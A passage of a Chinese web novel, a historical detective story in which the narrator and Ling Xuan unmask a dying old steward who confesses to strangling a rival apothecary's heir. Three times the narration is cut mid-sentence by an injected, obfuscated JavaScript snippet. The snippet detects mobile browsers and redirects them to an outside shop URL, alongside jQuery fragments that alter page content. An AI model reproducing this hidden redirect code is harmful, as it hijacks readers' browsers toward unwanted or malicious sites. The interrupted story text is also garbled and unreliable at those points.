丫鬟摇摇头,怯怯的望着我:“听,是没听到什么了,但奴婢、奴婢好像见到楼梯,有一滴血……” “血?”我惊了,“具体在哪?” 丫鬟看着小姐回忆:“就是、就是奴婢搀着小姐回到雅间的时候,就瞥到二层往三层那楼梯上,有一滴暗红色的水渍,奴婢当时没觉察,也是后来才猜,是不是血?” 凌轩没再耽搁,立即跨步开门叫来个衙差,吩咐去客栈,沿所有角落细细检查。但我却颇悲观,因丫鬟所说若只是小小滴血,昨晚那么多人上下楼梯,怕是早就蹭没了。这年头又没有鲁米诺试剂。 不过这个信息很耐心寻味,包括她们主仆听到的“滴沥咣当”与暗哑嘶叫。难道那就是西元堂少东家被勒死时发出的动静?我在脑海中描绘出案发现场的格局,越发觉得贴切。 然而,她们二人包括卢四苹与淑淑,谁也不记得中途更衣的具体时辰,所以这条线索还是没有指向性,很难据此锁定精确的死亡时间。 调查又走到了瓶颈,真令人扫兴。 许是听到了我的叹息声,凌轩微微侧头,朝我低声道:“查清卢小姐一行人的行程,也是种进展,该高兴才是。” 这话怎么谜之像我领导那空洞的夸赞?我耸耸肩没回答,便也没察觉到,凌轩,又一次未凭只言片语,就洞悉了我的念头。 11.宴请 两日后,赵大人总算抽出精力,在家中摆了豪华的筵席,说是要感激凌轩仗义相助。 凌轩推辞不过,便也叫上我同去,一桌陪同的,还有猩猩衙差。许是甚少与领导同桌吃饭,猩猩衙差显得有些拘束,鼻孔都不像往常一般扇动了。 我看他坐着也尴尬,索性趁着凌轩与赵大人寒暄客套之际,凑过去问他:“血迹查了吗?有无延申到某个雅间门口?” 猩猩衙差摇头,遗憾地说:“就跟小姐之前说的一样,哪哪都验看了,根本没有发现。” “那,二层其他人一一盘查了?就没有任何一人与两个男死者都有恩怨?或者,单独与少东家有仇,也行啊。” “没啊,真没有,查的很细了,都是按照公子和小姐吩咐的方法去做的。”苦瓜脸顿了顿,复又淡了些愁色,猩猩衙差说,“但卑职还是查出来一桩隐情。原来卫峰之所以突然松口,同意就药田与西元堂展开合作,竟是老管家建议的!” 我一听就惊了,那厢凌轩也看了过来。 猩猩衙差有些紧张,舔了舔嘴唇:“没错的,卑职问了卫少爷的祖母。说是三个月前,东兴号老管家忽然登门,当时人都坐不起来了!但还是给卫少爷提建议,说因为东兴号入不敷出,维持现有经营已经困难,自然无力再购置药田。为了药田能发挥作用,真正为医馆从医所用,真正让百姓得到实惠,建议卫少爷出手,叹息中,还劝他在商言商,莫要困于往日情谊,因着东兴号就断不与西元堂合作。” 这倒有点意思啊!商业合作都是冲利益去的,纯粹为了民生,到底还是少数。这老管家竟有如此心胸? “卑职认为,老管家这么做,应该是听说了卫少爷被罚跪宗祠的事。” “罚跪宗祠?为什么?” 卫氏既在该地为兴旺大族,就不可能事事都只听卫峰一言堂。他虽是当家人,族中长老也有话语权的。卫峰因己情谊,让药田空置两年,那玩意打理又耗人耗力,的确损失的是家族利益。 “卫老夫人也说了,这事难堪,卫家从未对外说过。但老管家毕竟和卫家关系深厚,不知怎么就听说了。他一向喜爱卫少爷,得知他都被罚跪宗祠,还不心急火燎啊?没几日就来劝说。卫少爷一开始还不肯答应呢!但毕竟老管家都这么说了,他又是个商人……其实坚持这么久,已经很不容易了。” 是哦,卫峰够有情有义了。其实二人商谈这么久,坊间却丝毫不知,八成也是卫峰要求的,生怕消息传出,令百姓对东兴号更没信心,更挤压它的生存空间。 如此情深厚重,东兴号对他,绝不可能有杀机。 “老管家和卫少爷是大大的善人,但卑职瞧西元堂那少东家,呵……”猩猩衙差嘟囔着,和赵大人交换了眼神,“西元堂可不是简简单单为了咱们百姓。” 凌轩挑了挑眉,放下了酒杯:“这话怎么讲?” 猩猩衙差压低了声音:“昨天卑职又去了一趟西元堂,在少东家书桌下看到了一本笔记,记载了他接手医馆以来的日常。里面有不少经营方针,他还曾计划要把东兴号的老管家挖角,写什么三年崛起,五年吞并东兴号,七年终结三县八镇的竞争,直至一家独大呢!” 我耳朵一跳,为这磅礴的企业家思维感到震撼,之余,凉薄却在丝丝上泛。 西元堂败落之时,东兴号从未落井下石,更因雪中送炭才使得他一家老小不至于流落街头。可等风水一转,西元堂却咄咄逼人。这也未免太忘恩负义了吧? 凌轩面上也有些不虞,正要说话。赵大人却扫了扫宽大的袖子,把酒壶搁下,重重叹了口气:“哎,在商言商。少东家为了拓展自家营生,这么做倒也无可厚非。东兴号败落,也不完全是西元堂的打压,毕竟老管家经营保守,不如年轻人想法多,搞了这么多花头,引来大量生意,这也是没办法的事。” 在县城上担当父母官多年,赵大人见证许多。一起一落之间,人心难测。 “再说了,老管家不也没有答应吗?老管家对东兴号多忠诚啊,若不是他一力操持,就东兴号孤儿寡母的,早就关门了。”赵大人又补了一句,端起了汤碗。 猩猩衙差却不太赞同:“老爷您是仁厚,才会这么觉得。依卑职看,少东家就是一心想要独霸咱们县里,啊不,包括咱这附近几个县城的医馆业,才会出手这么不留情面。” 赵大人抬眼睨向猩猩衙差,却也没有反驳。 凌轩默默喝了口茶,复又问:“可卫峰最后还是反悔了,有查到为什么爽约吗?” 猩猩衙差摇头:“这却实在不知,卫老夫人听了之后都很诧异呢。” 我有一搭没一搭的咬着排骨,不禁感到沮丧。这案子真是复杂,一环一环叫人摸不着头脑。好容易有些思路,却又找不到证据支撑。 一时间场面安静,个个都沉默不语。凌轩将碗筷搁下,坐的笔笔挺挺,微微垂着眼帘,双手抱臂,左手手指轻轻、有节奏的敲着臂膀。看得出来,他也正被困扰着。 赵大人长叹口气,端起酒壶,一杯一杯下肚,借酒消愁。猩猩衙差瞧瞧我又瞧瞧凌轩,终是托腮惆怅的望向远处。 半晌,许是感受到场上的沉默,赵大人重重搁下酒壶,挤出个苦哈哈的笑容。“嗨!不提这些扫兴之事!二位是贵客,来我县城,没能游玩歇息,却忙于查案,实在令下官感恩!来来,下官敬二位。” 场面话一出,凌轩应对自如,他当即也端起酒杯,小酌两口,便和赵大人你来我往客气起来,不失得体。 “二位之后得空,定要再来本县,县城里有几处温泉,很是养身,下官到时候带着二位好好休息休息!” 猩猩衙差却望着酒席发呆,竟说道:“温泉是人家东兴号的,老管家还不知道能活几天,以后温泉会卖给谁?” 这话一出,猩猩衙差骤然清醒,发现自己泼了领导的冷水,吓得差点掉下椅子。 “温泉?温泉可值不少钱啊,东兴号怎么不卖了救市?”我没忍住,问了出来。 赵大人瞪着属下,但又不想当着我们的面发飙,还要顾及回答我的问题,脸都扭曲了。 “那都是药泉,价格极高,寻常商人也不会捯饬,这附近也就西元堂会要。” 猩猩衙差瑟缩着脖子,小心翼翼地觑一眼领导眼色,低声补充了一句:“卑职听说那药泉对某些病症颇管用,西元堂一度还给加了点钱,绕开老管家找东兴号的少夫人求买。少夫人本都答应了,老管家却不允,这半年还坚持去泡呢。” “啊?”我有些诧异,“他不是都无法行走了吗,还去泡温泉?” “哎,小姐不知道。”回答我的是赵大人,用手搓了一把脸,“老管家自从得了绝症,没少找那有的没的法子治疗,有些邪术听着都瘆人。他呀,实在是希望找到生路,还能再掌舵些年。毕竟东兴号,现在全靠他撑着,他这一走,‘垮塌’就得散架。下官都听过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961453|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牛大夫骂他,脉象乱的都诊不出了,不让再瞎搞呢。” 这话倒和我们在医馆听到的雷同,一时间,众人皆是叹气,气氛再次凝重。 这次主动打破沉默的是凌轩,他拍了拍赵大人的肩膀,端起酒杯示意,二人推杯换盏,这才冲淡了几许忧思。 “说起来,赵大人素日也要注意身体啊,我看你眼下的乌青又深了。” 秋水县这几天可谓民怨沸腾。西元堂虽然打压东兴号,但它也催生了一系列为民服务的医疗措施,民众得知少东家竟然也遇害,当下愤怒不已;又因同日死了三个人,不免人心惶惶,时有冲突发生。赵大人和衙差在重压之下急需破案,又需要抽调人手维护县城治安,也是忙得不可开交。 何况,即为父母官,自当为一方百姓解忧。赵大人管辖内出现这么严重的案件,不光是受害者家属讨要说法,怕是上头也要问责了。 赵大人何尝不知?所以愁呀。 凌轩劝道:“酒伤脾胃,多喝不宜。赵大人身子圆润,平日里也要懂得保养。” 身子圆润? 他倒还挺会说话,我看一眼赵大人肥嘟嘟的大肚子,偷偷一乐,收获凌轩飘来的眼刀一枚。 猩猩衙差见状,赶忙拍波马屁:“哎呦,凌公子说得对啊。老爷您平时太辛苦了,一心为民,终日操劳,也要注意注意,多少要忌酒嘛。” 赵大人剜一眼下属,又看一眼自己的肚子,捧腹大笑起来。 阴霾的气氛一扫而空,在场的人都不由乐了。 咧嘴之时,我还盯着赵大人腮边垂下的肥肉,猩猩衙差的话却不期在耳旁阵阵回响。心念一动,我慢慢收了笑容细细思索,想要抓住一闪而过的思绪。 忌酒……咦,卢四苹不是说,少东家也在忌酒吗?她对少东家有意见,便认为这话是搪塞。但其实观少东家其人,是非常能下苦功夫的商人,若非实在讨不得利,应该不会用这种烂借口得罪人。何况猩猩衙差也说,淑淑家门在秋水县也是拔尖的。 或许,少东家近来的确因脾胃不调在忌酒。不过我想,案发当日如签约成功,少东家应该也会小酌庆贺,推杯换盏。 等等,忌酒? 脑海中如PPT般闪过很多画面,莫名出现了一只不知来处的玲珑酒壶,谈了三个月却无故爽约,笑着吩咐旺男去办…… 央猩猩衙差传话,让牛大夫回乡看望母亲,邀请了一桌商户托孤…… “天哪!” 我叫出声的同一瞬,凌轩忽然站了起来,铁青的脸色,震惊的瞳孔……他也意识到了! “这、这是怎么了?”赵大人吓了一跳。 凌轩朝我看过来,四目相对中,是一样的难以置信。 我深深吸了口气,说话都忍不住的颤抖:“我们、我们知道凶手是谁了。” 赵大人瞪圆了双眼,肚子不受控制的向前一撞,将桌上的杯子晃倒。 “到底是谁?是谁!” 赵大人扑到凌轩面前之际,从外面跑来一个小厮,大声叫道:“老爷,老爷!不好了!” 赵大人最近被这“不好了”都吓出心理阴影了,当即身子一晃,差点栽倒。 我和凌轩却仍对视着,眼底流淌着一样的悲哀。 “怎么了?又发生什么事了?谁、谁死了?” “不是,不是!”小厮跑的上气不接下气,“是东、东兴号老管家来了!他来自首了!” 12.解谜1 东兴号的老管家是躺在担架,由几个小厮抬来的。老管家已经钟鸣漏尽、无药可医,在昏迷三天后,被用药催醒了,醒来第一句话便是“作孽啊,作孽啊!”随后便不顾众人反对,要求前来县衙认罪。 看神情,东兴号众人还不知道发生了什么事,只是听从老管家的要求,将他抬来而已。 赵大人两道眉毛打上了结,他难以置信的看看我和凌轩,又看看传话的小厮,终是带着震惊和疑惑去安置老管家。 因着老管家病势,加之兹事体大,赵大人将其安置在后院一处屋子里,并命人将后院团团围住,确认无人靠近后,才引着凌轩和我推门踏入。 屋子里已是浓浓药味,老管家躺在床上,皮包骨头,不过五十多岁的人,却因为操劳和疾病,苍老的仿佛百岁老翁。一头白发掉了许多,露出青黑的头皮。 他听到推门声,顶着如蜡面色,佝偻着抬起头,抖着手朝赵大人伸去,双眼深陷,血丝密布。 我看到他两只手上都绑着绷带,还透着层层血丝,不由叹了一声。 难以想象啊,这双消瘦贴骨的手竟勒死了青年的西元堂少东家。 “是我、是我害死了卫少爷……天哪,我该死,该死啊!”老管家咳出血来,仍不及心头悔恨之深。 赵大人枯坐在一旁,圆圆的脸上皆是震惊,他止不住的擦汗,语气惶惶:“你?是你杀的人?可、可你为什么要杀卫峰啊?” 面对赵大人的疑问,老管家泄了力气,瘫倒在床上,盯着天花板喃喃自语:“我、我怎么会杀他呢?老天爷,我干了什么?我不得好死啊!” 老管家呜咽起来,早已经瘦削的脸庞没有一丝血色,骨头在薄薄一层面皮下狰狞可见。他不断大口喘气,像是要将心腹中的恨意吐光。 其实我已经明白,老管家哪里是要杀卫峰啊,他的目标明明只有西元堂少东家,谁知却误杀了卫峰和情妇。只怕他早已悔恨交加,才会在案发那晚听到卫峰死讯后,昏厥不醒。只是众人不知玄机,都还以为老管家是劳累过度、骤惊而已。 如归客栈同日死亡了三个人,死亡时间相近,死亡地点相同。我们虽也考虑过是不同凶手犯案,巧合而已。但因着两名男死者的关联关系,到底还是聚焦在并案调查上,所以,我们一直被杀机困扰着。 但却忽略了一点,如果凶手从头到尾只是针对少东家,并不曾想要杀卫峰呢? 少东家是个青年人,凶手勒死他是非常费力的,或许还要经历死者疯狂的反击,毕竟楼下就是客人,稍微呼救就能惊动他人,选择这个杀人手法是十分冒险的。 所以一开始,我们只将目光锁定在那些身强力壮的壮年男子。 但另一个玲珑酒壶的出现令我百思不得其解,为什么会多出来一壶?凶手如何将毒酒送进雅间,尚且无解,为何查着查着,雅间中竟还多了壶酒?偏偏往前追溯,中午的雅间也不该有酒啊。 直到“忌酒”二字在我眼前反复出现。 我忽然意识到,少东家原本就是商户出身,酒量极佳,当日准备宴请卫峰,较后者又属低姿态,自然少不了觥筹交错,把酒言欢。 而他近日脾胃失调在忌酒的事实,坊间并未流传。也就是说,完全存在一种可能性,凶手亦不知其忌酒。 凌轩亦叹口气,续着我的话道:“那么,按照正常逻辑来推,凶手会采取的杀人手法,自然就是稳妥的下毒了啊。念及此处,再回头看看那莫名出现的酒壶,不就讲得通了吗?是凶手原本用来作案,准备毒死少东家的呀。只是少东家因忌酒加之被爽约正在气头上,直接拒绝了,故而没能得逞。” 猩猩衙差听得一愣一愣,半晌才追问:“公子是说,中午、中午是老管家上去找的少东家喝酒……可、可老管家哪来的气力啊,他明明上楼梯都费劲啊!” 凌轩抿唇,露出悲悯之色:“病入膏肓不假,但真的迫近寿数了吗?真的到最后关头,人已虚弱无力了吗?老管家,这次谋划,你筹谋半年之久了吧?” 老管家用袖子擦掉猛咳时从嘴角流出的血,似乎早已习惯了。他躺下身子直勾勾瞪着天花板,似在梦呓:“半年,半年了啊……自从得知我命数不久,我就开始了盘算。明明一切都顺利,就算那小子突然给我整出幺蛾子,我也应对了……为什么,为什么偏偏留下了酒壶,偏偏害了卫少爷……天哪,天哪,我做了什么!” 热泪从老管家眼角流至发中,如再也挽回不了的涛涛东流水。 猩猩衙差还是没有明白,又朝我和凌轩看来,后者叹了口气,轻轻说道:“整个秋水县都知道,老管家病了半年,垂危濒死、毫无气力。更因执着,怕自己走后,东兴号的孤儿寡母保不住门楣,而一再胡乱吃药、寻找偏方,以至脉相都全部紊乱。” “是、是啊。”赵大人瞪着小眼睛,哆嗦着说,“那又怎么了?” “可如果,”我接过话头,闭了闭眼,“脉相的紊乱,并非死马当活马医的走投无路,而是刻意为之呢?” “什、什么……你、你是说,他、他故意的?” 是啊,老管家出自东兴号,亦是杏林高手,自己什么病症能不了解吗?医者不自医,所以东兴号还是拜托医术超群的牛大夫为老管家诊治,这是一早就能料到的。 那如果要从脉相上骗过同行,只有一种办法,即找个名正言顺的借口乱吃药,让自己脉相乱到对方也无法给个准确说法。 在这种前提下,那身体的虚弱程度,就有极大的空间由自己把握了,不是吗? 今天赵大人提及东兴号的药泉时,说因着与老管家的病症不对,少夫人本想卖出换些钱银,但老管家阻止了,还时不时去泡一下。 这话乍一听,是又一个被无谓寄予的希望。可它与旁的不同,汤药、扎针,在瘦死的骆驼比马大的东兴号中,尚且供养得起。可药泉价值不菲,西元堂还罕见的加了价,一向将东兴号看的比自己还重的老管家,真会糊涂到不趁机卖出,保住现金流吗? 当初在如归客栈,我们在二层屏风后,就认为那扎针的一炷香时间,存在太多作案的可能性。但最后打消怀疑的,其中一项便是老管家的身体。 可如果这人人皆知、半年皆如此的基底内容,都是假的呢? 猩猩衙差和赵大人四目相对,流淌着同样的震撼与悲哀。赵大人先摇了摇头,仍不愿相信:“不,不对。当时还有牛大夫在……就算牛大夫和史可坐在屏风外面扎针,没注意里面的动静,可史可若是没来,牛大夫自然会守着老管家,他哪来的时间作案?” 问的好,这也一度迷惑了我。直到我想起来在东兴号医馆,那学徒说的话。 凌轩沉沉开口:“他说让牛大夫下乡去看老娘的,就是老管家。别忘了,案发那日的宴请,也是老管家张罗的啊,那挑选的客人,会不会也精心设计过呢?你不是查问过,老管家并非案发那日才召集的客人,而是几日前就知会,只是当日定于中午而已。大家碍于情势,自然也都来了,不是吗?” “是,是啊。”猩猩衙差惶恐的回答。 所以,中午的客人中会有一位牛大夫的忠实粉丝,这不也是早就安排好的了吗?偏偏牛大夫还被放了几天假,离开了县城,回来的时间则是案发前一日,由老管家叫回。那这位几乎天天得扎上一扎的客人,听说了老管家挨针后要睡上一炷香,心痒痒赶来趁机求医,难以预料吗? 换句话说,牛大夫的放假与归来,造成了史可的心痒难耐。而老管家,就用了这看似无关紧要的举动,给自己安排了完美的不在场证明。 赵大人看向床上僵硬如雕,只默默流泪的老管家,还是无法接受,缓慢的摇着头。猩猩衙差快人快语,喉结滚动着,又提出个质疑:“这、这也只是推测,小姐,公子,你们有什么证据啊?” 我和凌轩还没开口,床上的老管家忽然剧烈的咳嗽起来,他挣扎着支起一只手臂,嘶哑着说:“不用、不用证据……就是我干的,就是我干的!我谋划了这一切,本想着脱身,也只是不愿牵连东兴号。可卫少爷、卫少爷……我做梦也想不到,我竟会害了他!事到如今,我哪来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976836|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸,还敢辩解啊!” 赵大人抬起手臂,想拍拍老管家的肩,然而伸到一半,终是僵住。 但老管家不知道的是,他其实,还是留下了证据,那便是血。 “血?地上那滴血?” 不,那一滴早就被蹭没了。我指的是,如归客栈小二腰间的血。 回望整个如归客栈,案发当日无论中午还是晚上,没有任何一个食客受伤出血,这是衙差盘问已经确定的。而小二与东兴号客人的证词中,也未提及老管家吐血。 那就说明,当日有过出血的,除了被勒断胫骨导致七窍出血的西元堂少东家外,只有可能是大力勒毙死者时划伤手掌的凶手。 但无论哪种,小二身上为什么会沾有? “自然是因他在二楼送菜时,听到住宿间动静,来帮忙搀扶老管家的时候,无意中被后者蹭上的啊。”凌轩说着,目光又落在老管家被绷带重重裹住的手掌上。 这就是为什么在医馆中,牛大夫去看望老管家,还要带上瓶白玉损伤膏的缘故。 其实,若非他营造出的羸弱形象,与两个被利用的不在场人证外,就凭他与死者的恩怨与这奇怪的掌心伤口,早就该怀疑到他头上了。 赵大人嘴皮颤了颤,又喃喃的问:“可、可少东家和他是竞争对手啊,又怎会轻易和他坐在雅间里谈话呢?” 这次,回答的是老管家,声音暗哑:“西元堂对我们东兴号图谋不轨,他竟还想要挖角我?我打小跟随我们老东家,东兴号就是我的一切!老东家死后,若不是想着他留下的孤儿寡母需要我的协助,我早就跟随东家去了!” 想起旧主,老管家难以自持,褶皱风干的眼眶落下热泪,“西元堂那小子多次来找我,说什么感谢我为东兴号付出的一切,但东兴号破船一条,我的价值只有在西元堂才能得到最大化。我呸,他懂什么叫做价值?当年我们东兴号在最鼎盛的时候都不曾落井下石,若非我们老东家心善,暗中帮助西元堂,他们一家早就饿死路边!我多次拒绝,但那小子竟然说,总有一天会把东兴号挤垮,到时候不仅我,连我们东兴号,也都是他们家的了!” 老管家说到激动处,连咳不止,血丝成注从他嘴里漫出,流到印着暗花的被褥上,好像被浇灌了一般绽放。 “我拼尽全力和他争抢,但他……这小子高价收买药材,低价出售,破坏了原有的市场环境,导致我们一度药材采购与销售受阻,一时间入不敷出,开不出工钱。他趁这关头,又高价挖走好几名大夫,让我们医馆竟无人坐堂,实在是难堪啊!” “你,那你倒是说出来啊,你们东兴号也是百年老字号,大家都会帮助你们的啊!”猩猩衙差听得跺脚,连声道。 老管家苦笑两声,嘴角扯动中印在脸上的血印也跟着动,竟有些诡异。 “这小子是有些奇才,他搞得那套低价针灸的服务,帮了多少病患解除病痛烦忧?就连大人,您虽不忍,但也是看好这小子的吧?” 老管家朝赵大人方向努了努嘴,轻轻一问。后者身子一僵,避开视线叹了口气。 西元堂惠民的措施,得到了坊间的热情支持,一时间,“忘恩负义”“不择手段”也不再为人所指责。而东兴号忙着自救,也对苦楚难以启齿,更不好低头求人,只能眼看着生意一点一点被抢走。 我听到老管家这样痛陈,便明白了案发当日的情景。 怕是老管家贴了笑脸,少东家以为老管家终于耐不住,有意臣服了。便不疑有他,同意在三层雅间内细聊。却不想这本就是个圈套,老管家早就准备好了毒酒。 “你是从你们雅间中拿的吧?”我望着老管家宽大的袖子,“因为人多,掌柜会同时给上不少壶酒,你趁机装入袖中一壶,自可掩人耳目。的确是很完善的计划啊,若非县城居民,时时留心这些小小的习惯,还真难如此顺利。” 猩猩衙差对我的感慨极其糊涂,不由问:“小姐这话是什么意思啊?” 我盯着他返祖的面容,轻声道:“你也是其中一环,你没觉察到吗?” 13.解谜2 猩猩衙差懵了,连带着赵大人也迷惑的张大了嘴。 还是凌轩叹气解答曰:“你表弟旺男不是说,他到达客栈通知少东家的时候,已经晚于约好的吃饭时间了吗?为什么会晚呢?是卫峰通知晚了,还是……” 猩猩衙差身子前倾,仍没转过弯来。 “卫峰没有通知晚,但旺男路上被耽搁了,不是吗?是你去知会他事情,还拉着他教训不已,不是吗?”我续过凌轩的话头。 “我……是啊,是我哦!”猩猩衙差恍然。 猩猩衙差是旺男的表哥,我们相处几日,就已发觉他说话啰嗦,尤其在提及表弟时,恨铁不成钢的意味十足。他自己也说,每每看到表弟就来气,总忍不住骂上片刻。 那么当日,拜托他去卫府传话的人,是不是也知道他这个习惯呢?猩猩衙差每日上午都在四条主街巡逻,不也是很容易就摸清的吗? “可为什么,为什么要利用我绊住表弟,拖他晚些去客栈,图个什么?” 自然是图留下西元堂少东家了啊。 按照正常时间,卫峰支使旺男去通知爽约后,少东家很可能就愤愤离席。一般没有特殊情况,大家午饭的时间都差不多,那么,少东家在东兴号这桌开席前,或者刚刚开席时就得到消息怒而走掉,于老管家的计划岂不违背? 毕竟,老管家说了,自己身子能行的时候,请大家给面子一聚。也就是说,他怎么着得撑着吃个小半席,敬酒煽情,让席上气氛高涨起来,自己再去施针才不违和,不被察觉刻意。何况,他还要寻机摸走个酒壶,如席面才刚开始,就少一个,岂不很明显? 所以,他当然要想办法绊住来通知爽约的旺男的脚步。这样,西元堂少东家就会多等待些时候,与他安排的施针时间吻合,方便作案。 另则,这也是为了让少东家希望越大、失望越大,那在正烦躁时,看到欲征服的对象来臣服,岂不更容易跳进情绪的陷阱? 但老管家却不知道,少东家正在忌酒。他若是为了和卫峰签约之喜,自然愿意喝上几杯活跃气氛。此刻签约无望,自己又处在竞争的上位,何必损害身体?便拒绝了老管家的邀约,不曾沾酒。老管家见此计不通,这才没办法出下策勒死了少东家。 “可你哪来的力气啊?你、你都是伪装的?”赵大人坐在一旁的椅子上,百思不得其解。 猩猩衙差给老管家身后放了几个大枕头,老管家靠在枕头上大口呼气,听到后露出苦笑:“我、我也没想到啊!呵,我做这一圈,谋划这么久,刻意存些体力,本都是为了有气力和他周旋,哄他喝下毒酒。谁知,谁知……” 老管家虽伪装虚弱,却也真的患了重病不久于人世,在设计谋杀的计划之初,又怎会安排个极其需要体力的勒毙计划?但少东家拒绝饮酒,就把老管家逼入墙角,没有办法了。 而充满求生欲的青年之躯拼命反抗都敌不过一心想要除去壮大的西元堂、为东兴号复兴扫清障碍的消瘦久病的老管家。只能说,意志力的作用,令人畏惧。 “我知道近来县城没什么客人留宿,那天定下酒席后,料定掌柜会安排我在楼梯第一间施针,正好方便我隔着屏风推开内窗,避人耳目的上楼作案。我看见过几次捕头你训斥旺男,大概也知道你絮叨的时间,所以我早就估算清楚,提前完成了施针。事实上,在到客栈前我就服下了药,那针更不会让我昏睡。” 老管家扫了一眼我和凌轩,只苦笑说继续讲:“公子和小姐说的一点没错。我将一切安排好,就起身在内窗边盯着,果然很快看到旺男丧气的下楼,掌柜的也拿走了饭菜。我知道那小子马上也会下来,便带着酒假装刚从柜台取的,正在上楼。他看到我还直呼稀奇,我只说或是回光返照,希望死前交托了东兴号,他竟也信了……呵,可笑,没除掉他之前,我死都不瞑目!” “听到你说谈谈,他虽然因过去你的拒绝而犹豫,但还是答应了?”凌轩问道。 老掌柜眼底又出现奇异的红色,他嘲讽的撇撇嘴:“是啊,以为我会背叛旧主,哼!但我也顺着,假称想通了,最近在寻思合并的事项,引他与我到三层详聊。我以为他听了会很高兴,趁机喝点小酒,谁知道他居然拒绝了,那一刻我知道自己没有机会下手了,东兴号怕是真要败落了。” 赵大人打了个冷战,表情是那样的悲悯,眼泪汹涌而出。 “见我情绪低落,那小子还以为是我舍不得被合并,便提出了一些优惠条件,我假意协商,其实早就没了心思。后来他说要去趟邻县,还向我炫耀分店马上就开了,又说等他回来再与我正式协商。回来?我哪还等得了?他这一走,我更没有机会了,那日的天时地利人和,我再也凑不齐了!所以,我便假装让他早去早回,在结束对话后趁他走到门口时,解下腰带,我死死缠了上去,死死的、死死的,绕着他的脖子……” 老管家眼睛瞪着,血丝蹦在脸上,两手做出拉扯的动作,陷入了回忆。 “他用力蹬啊,蹬啊……手也过来乱抓……但我什么都顾不上了,我死死的、死死的,拉着我的腰带,我用力啊,用力啊!我看到我们老东家在向我招手,他一定会高兴的,一定会高兴的!我保住了东兴号!” 凌轩悲悯的盯着老管家的手:“在意志力的作用下,你发挥神力勒死了他,却也被腰带勒破了手掌,事后,你还发出了嘶哑的声音,被阿珂和丫鬟听到。” 没错,那声暗哑的嘶叫正是他在作案后发出的。久病之人骤然发力勒死了正值壮年的少东家,已是肾上腺素的罕见爆发,又怎会平静的毫无喘息? 而阿珂与丫鬟听到的“滴沥咣当”声,正是死者挣扎时踹桌踹椅发出的。嘶哑的声音不在“滴沥咣当”之前,也说明了并非死者被勒前的求救,而是凶手事后的喘息。 老管家勒死少东家后,情绪正是爆发阶段,他竟想到将少东家塞入雕花木箱中掩藏,不料自己手上的血染在了木箱之上,滴在了下楼的阶梯上,更在小二事后搀扶几乎站不起的他时,蹭到了小二腰间。 不止如此,他还…… 凌轩比我先开口,也正问到这个问题:“你在起身时,还曾腿软险些跌在窗台,那是你真的气力不足,还是你顺着内窗回到房间后忘记给内窗上闩,不得已再演出戏补上这个漏洞呢?” 老管家抬眼看着他,扯出个难看的笑容。“这位公子,好生敏锐。是,我当时回到房间,已经筋疲力尽,根本不记得上闩。是他们将我扶起,我才讶然看到,只得补救。我还特意用宽大的袖子遮住,免得将手上的血染在窗台。可惜啊,小二好心来扶我,我却蹭到了他腰间……但没关系,没关系,我还是杀掉了那小子,杀掉了挤压我们东兴号的罪魁祸首,我杀了他,杀了他!” 话说到此,老管家已进入魔怔的状态,他脸上露出的狂热和扭曲,让在场的人都免不了感到恐惧。 猩猩衙差缩了缩脖子:“老管家,老管家啊!你、你还是歇着吧!你的状态不太好啊!” 赵大人用帕子擦了擦汗,圆圆的眼睛里布满了血丝,喃喃着拿不定主意,不知道该不该叫郎中。 凌轩看了我一眼,上前轻声劝阻:“老管家,你需要休息,要不,还是先躺下睡会儿吧。” “别、别,”老管家虚弱的眼几睁几闭,嘴里的话模糊不清,但又掷地有声,“问吧、问吧,让我说罢、说罢……” 内心的罪恶在侵蚀折磨着他啊。 猩猩衙差偷偷抹了一把眼泪。我看得心里发酸,凌轩轻轻拍了拍我的肩,自己的脸色却也很沉重。 我想起猩猩衙差走访整个县城都没能找到的砒霜交易,不由摇了摇头。这医馆的实际掌权者拿走一些砒霜,又怎么会被记录在案,怪不得始终无法查到。 “哎!老管家啊!”赵大人上前握住了老管家的手,圆滚滚的肚子碰到了床边,和瘦成人干的老管家形成鲜明的对比。赵大人眼泪也往下流,他连声道:“你咋能这样啊!东兴号……东兴号有我们扶持,不会倒的!你怎么这么蠢啊!” 老管家带着一丝若有似无的笑,艰难摆手:“大人,大人,你已经很照顾我们了。但,回不去了,回不去了!东兴号已经到了最后的关头,经不起任何一点挤压了,西元堂再有任何动作,东兴号就要关门了!我不能,不能啊!不能败在我手里啊!” 其实,东兴号掌柜去世后,东兴号已经失去了主心骨。老管家就是最后的掌舵人,可他毕竟凝聚力有限,加之年事已高、思维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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是啊,卫峰对东兴号一片赤诚,老管家这么做,何尝不是利用了他的深情? 在老管家的故意指使下,卫峰同意和西元堂合作,经过一番讨价还价,双方达成合作,并约定在案发当日签约。 “可你怎么知道他们谈判的进度?”猩猩衙差问。 我幽幽回答:“卫家上下调养身子都是在东兴号,旺男不是说过,卫峰的小妾在喝药吗?那,以定期喝药、每隔几天派小厮前去送药的名义,伺机询问双方协商的进展,也不是难事。” 